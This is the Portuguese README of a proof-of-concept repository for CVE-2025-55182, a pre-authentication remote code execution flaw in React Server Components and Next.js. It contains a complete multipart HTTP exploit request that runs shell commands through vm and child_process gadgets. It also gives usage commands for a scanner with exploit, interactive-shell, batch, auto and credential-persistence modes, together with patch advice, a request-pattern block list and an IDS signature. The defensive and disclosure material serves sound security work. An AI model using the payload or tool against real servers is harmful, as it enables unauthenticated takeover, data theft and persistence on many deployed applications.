
Ferramenta Unificada de Pesquisa de Segurança
Pesquisa de Segurança por schema.cx
"Controle é uma ilusão. São os sistemas que construímos que nos controlam—a menos que primeiro os entendamos."
ESTA FERRAMENTA É APENAS PARA TESTES DE SEGURANÇA AUTORIZADOS
PARE. LEIA ISTO ANTES DE PROSSEGUIR.
Este repositório contém código de prova de conceito para uma vulnerabilidade de segurança crítica. Ao acessar, baixar ou usar qualquer material neste repositório, você reconhece e concorda com o seguinte:
Autorização Escrita Necessária: Você DEVE ter permissão explícita e por escrito do proprietário do sistema antes de realizar qualquer teste de segurança. Acordos verbais são insuficientes.
Limitações de Escopo: Os testes devem ser confinados a sistemas explicitamente listados em sua autorização. "Aumento de escopo" não é permitido.
Leis Aplicáveis: O acesso não autorizado a sistemas de computador viola:
OS AUTORES E COLABORADORES DESTE REPOSITÓRIO:
"A questão não é se podemos explorar a vulnerabilidade. É se devemos, e com que propósito."
CVE-2025-55182 é uma vulnerabilidade crítica de execução remota de código (RCE) de pré-autenticação que afeta Componentes de Servidor React em aplicações React 19.x e Next.js 15.x-16.x.
Esta vulnerabilidade permite que qualquer atacante não autenticado com acesso de rede a uma aplicação vulnerável execute comandos arbitrários no servidor. O ataque não requer credenciais, nenhuma interação do usuário e pode ser totalmente automatizado. A exploração bem-sucedida leva a:
"As pessoas confiam em sistemas porque não os entendem. Essa confiança é uma vulnerabilidade."
A vulnerabilidade existe na implementação do protocolo Flight do React dentro da função requireModule. Esta função usa notação de colchetes para acessar exportações de módulo com base em entrada controlada pelo usuário, sem validar se a propriedade solicitada é uma propriedade própria do módulo.
Localização do Código Vulnerável:
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Função: requireModule (aproximadamente linhas 2546-2558 na v19.0.0)
Padrão Vulnerável:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... tratamento assíncrono ...
return moduleExports[metadata[2]]; // ← VULNERÁVEL: Sem verificação hasOwnProperty
}
O ataque explora a travessia da cadeia de protótipos do JavaScript:
$ACTION_0:0 contém JSON com as propriedades id (formato módulo#exportação) e bound (argumentos) controladas pelo atacanteconstructor ou acessar propriedades do protótipo, atacantes podem referenciar módulos Node.js embutidosvm.runInThisContext, child_process.execSync ou fs.readFileSync executam com argumentos fornecidos pelo atacanteHTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // Analisa o formato "module#export"
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // Acesso à cadeia de protótipos → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--
"Todo sistema tem uma porta. A questão é se você construiu a fechadura—ou a herdou de alguém que nunca esperava visitantes."
| Produto | Versões Vulneráveis | Versões Corrigidas |
|---|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1+, 19.1.2+, 19.2.1+ |
| Next.js | 15.x, 16.x (usando React vulnerável) | Versões com React corrigido |
vm, child_process ou fs devem estar no bundle webpackEste repositório inclui um scanner de segurança abrangente baseado em Python com múltiplos modos de operação.
CVE-2025-55182-poc/
├── README.md # Este arquivo
├── scanner/
│ ├── __init__.py # Inicialização do pacote Python
│ ├── scanner.py # Scanner unificado principal (6 modos)
│ ├── readme.md # Documentação detalhada do scanner
│ ├── requirements.txt # Dependências Python
│ └── docs/
│ ├── TECHNICAL-ANALYSIS.md # Análise aprofundada da vulnerabilidade
│ └── VULNERABLE-PACKAGES.md # Versões de pacotes afetados
Instalação:
cd scanner
pip install -r requirements.txt
Escaneamento de Vulnerabilidade:
# Verificar se o alvo é vulnerável
python scanner.py scan https://target.com
Detecção de Gadgets:
# Identificar gadgets RCE disponíveis
python scanner.py exploit https://target.com --detect-gadgets
Execução de Comando (com autorização):
# Executar comando no alvo vulnerável
python scanner.py exploit https://target.com -c "whoami"
Teste em Lote:
# Testar múltiplos alvos a partir de arquivo
python scanner.py batch -f targets.txt -o results.json
Escaneamento Automatizado com Verificação:
# Escaneamento abrangente com verificação de exploit
python scanner.py auto -f targets.txt -o report.txt
Alvo Vulnerável:
[+] VULNERÁVEL a CVE-2025-55182!
Framework: Next.js
Versão: 15.1.0
Confiança: ALTA
Gadgets Disponíveis:
✓ vm#runInThisContext
✓ child_process#execSync
✓ fs#readFileSync
✓ fs#writeFileSync
Alvo Corrigido:
[-] Não vulnerável ou não foi possível determinar
Framework detectado: Next.js
Versão: 15.2.0 (corrigida)
Para documentação completa, veja scanner/readme.md.
"Uma ferramenta é tão perigosa quanto a intenção por trás dela. Nas mãos certas, uma arma se torna um escudo."
/etc/passwd, chaves SSH, credenciais em nuvemViolação de Dados: Atacante lê arquivos .env contendo credenciais de banco de dados, exfiltra dados de clientes
Instalação de Cryptominer: Atacante escreve script de mineração, adiciona tarefa cron para persistência
Ataque à Cadeia de Suprimentos: Atacante modifica código fonte em produção, servindo conteúdo malicioso aos usuários
Movimentação Lateral: Servidor comprometido usado para atacar bancos de dados internos, APIs e serviços
Ransomware: Atacante criptografa arquivos da aplicação, exige pagamento pelas chaves de descriptografia
Atualize o React Imediatamente
npm update react react-dom react-server-dom-webpack
Versões alvo: 19.0.1+, 19.1.2+ ou 19.2.1+
Verifique a Aplicação do Patch
npm ls react
Certifique-se de que nenhuma versão vulnerável permanece em sua árvore de dependências
Bloqueie requisições contendo estes padrões:
# Padrões de corpo de requisição a bloquear
#constructor
#__proto__
#prototype
vm#runInThisContext
vm#runInNewContext
child_process#execSync
child_process#execFileSync
child_process#spawnSync
module#_load
fs#readFileSync
fs#writeFileSync
Exclua pacotes perigosos do empacotamento webpack:
// next.config.js
module.exports = {
serverExternalPackages: [
'sharp',
'puppeteer',
'execa',
'shelljs',
'vm2'
]
}
Padrões de Log a Monitorar:
$ACTION_REF_ ou $ACTION_ID_ incomuns em corpos de requisição/api/* com dados de formulário multipart contendo JSONconstructor, prototype ou acesso inesperado a móduloAssinaturas de Detecção de Intrusão:
alert http any any -> $HOME_NET any (
msg:"Tentativa de Exploit CVE-2025-55182";
content:"$ACTION_";
content:"#constructor"; distance:0;
sid:2025551820; rev:1;
)
npm audit, Snyk ou ferramentas similares"Aplicar patch não é apenas sobre consertar o que está quebrado. É sobre fechar as portas que você não sabia que estavam abertas."
Esta divulgação segue as Diretrizes de Divulgação de Vulnerabilidades do CERT/CC e os padrões ISO/IEC 29147:2018 para divulgação coordenada de vulnerabilidades.
Esta prova de conceito foi desenvolvida pela equipe de pesquisa de segurança da schema.cx.
Repositório: https://github.com/ejpir/CVE-2025-55182-poc
Gostaríamos de agradecer:
Este projeto é lançado apenas para fins educacionais e de pesquisa de segurança autorizada.
Ao usar este software, você concorda em:
"Não hackeamos para destruir. Hackeamos para entender. E entender é o primeiro passo para construir algo melhor."
schema.cx — Pesquisa de Segurança para um Mundo Digital Mais Seguro
| Métrica | Classificação |
|---|
| Pontuação Base CVSS v3.1 | 10.0 CRÍTICO |
| Vetor de Ataque | Rede |
| Complexidade do Ataque | Baixa |
| Privilégios Necessários | Nenhum |
| Interação do Usuário | Nenhuma |
| Impacto (C/I/D) | Alto / Alto / Alto |
| Gadget | Módulo | Descrição | Impacto |
|---|
vm#runInThisContext | vm | Executar JS no contexto atual | RCE Direto |
vm#runInNewContext | vm | Executar JS em sandbox (escapável) | RCE Direto |
child_process#execSync | child_process | Executar comandos shell | RCE Direto |
child_process#spawnSync | child_process | Iniciar processos | RCE Direto |
fs#readFileSync | fs | Ler arquivos arbitrários | Exfiltração de Dados |
fs#writeFileSync | fs | Escrever arquivos arbitrários | Persistência/Backdoor |
module#_load | module | Carregar módulos JS (RCE em 2 etapas) | RCE Indireto |
| Módulo | Probabilidade no Bundle | Fontes Comuns |
|---|
fs | Muito Alta | fs-extra, gray-matter, multer, sharp, chokidar |
child_process | Média-Alta | execa, shelljs, puppeteer, sharp, geradores de PDF |
vm | Baixa-Média | ejs, pug, mecanismos de template |
module | Muito Baixa | tsx, ts-node (geralmente apenas CLI) |
| Modo | Propósito |
|---|
scan | Detecção de vulnerabilidade e fingerprinting |
exploit | Exploração controlada com gadgets específicos |
shell | Shell de comando interativo em alvos vulneráveis |
batch | Testar múltiplas URLs com estatísticas |
auto | Escaneamento automatizado multi-alvo com verificação |
persist | Demonstrações de ataque de persistência (chaves SSH, credenciais) |
| Data | Evento |
|---|
| Descoberta | Informação pendente |
| Notificação ao Fornecedor | Informação pendente |
| Confirmação do Fornecedor | Informação pendente |
| Desenvolvimento do Patch | Informação pendente |
| Lançamento do Patch | React 19.0.1, 19.1.2, 19.2.1 |
| Divulgação Pública | Informação pendente |
| Atribuição do CVE | CVE-2025-55182 |